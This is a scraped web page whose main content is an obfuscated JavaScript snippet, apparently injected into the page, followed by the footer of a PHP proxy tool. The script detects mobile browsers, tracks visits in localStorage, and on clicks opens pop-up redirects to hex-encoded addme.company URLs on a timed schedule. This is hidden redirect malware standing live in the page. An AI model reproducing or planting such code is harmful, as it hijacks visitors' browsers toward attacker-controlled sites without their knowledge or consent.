_0x365b=[_0x3ec38a(0x18a),_0x3ec38a(0x186),_0x3ec38a(0x1a2),'opera',_0x3ec38a(0x192),'substr',_0x3ec38a(0x18c),'\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x76\x69\x61\x31\x63\x301',_0x3ec38a(0x187),_0x3ec38a(0x18b),'\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x59\x72\x63\x34\x63\x314',_0x3ec38a(0x197),_0x3ec38a(0x194),_0x3ec38a(0x18f),_0x3ec38a(0x196),'\x68\x74\x74\x70\x3a\x2f\x2f\x61\x64\x64\x6d\x65\x2e\x63\x6f\x6d\x70\x61\x6e\x79\x2f\x77\x5a\x6a\x39\x63\x339','',_0x3ec38a(0x18e),'getItem',_0x3ec38a(0x1a4),_0x3ec38a(0x19d),_0x3ec38a(0x1a1),_0x3ec38a(0x18d),_0x3ec38a(0x188),'floor',_0x3ec38a(0x19e),_0x3ec38a(0x199),_0x3ec38a(0x19b),_0x3ec38a(0x19a),_0x3ec38a(0x189),_0x3ec38a(0x193),_0x3ec38a(0x190),'host','parse',_0x3ec38a(0x1a3),'addEventListener'];(function(_0x16176d){window[_0x365b[0x0]]=function(){let _0x129862=![];return function(_0x784bdc){(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x365b[0x4]](_0x784bdc)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x365b[0x4]](_0x784bdc[_0x365b[0x5]](0x0,0x4)))&&(_0x129862=!![]);}(navigator[_0x365b[0x1]]||navigator[_0x365b[0x2]]||window[_0x365b[0x3]]),_0x129862;};const _0xfdead6=[_0x365b[0x6],_0x365b[0x7],_0x365b[0x8],_0x365b[0x9],_0x365b[0xa],_0x365b[0xb],_0x365b[0xc],_0x365b[0xd],_0x365b[0xe],_0x365b[0xf]],_0x480bb2=0x3,_0x3ddc80=0x6,_0x10ad9f=_0x1f773b=>{_0x1f773b[_0x365b[0x14]]((_0x1e6b44,_0x967357)=>{!localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11])&&localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11],0x0);});},_0x2317c1=_0x3bd6cc=>{const _0x2af2a2=_0x3bd6cc[_0x365b[0x15]]((_0x20a0ef,_0x11cb0d)=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x20a0ef+_0x365b[0x11])==0x0);return _0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()*_0x2af2a2[_0x365b[0x17]])];},_0x57deba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1),_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5aa0fd+_0x365b[0x11],_0x594b23),_0x381a18=(_0x3ab06f,_0x288873)=>{const _0x266889=0x3e8*0x3c*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)/_0x266889);},_0x3f1308=(_0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)/_0x5c85ef);},_0x4a7983=(_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&window[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);};_0x10ad9f(_0xfdead6);function _0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());
| ver. 1.4 |
Github
|
.
| PHP 8.2.28 | Генерация страницы: 0 |
proxy
|
phpinfo
|
Настройка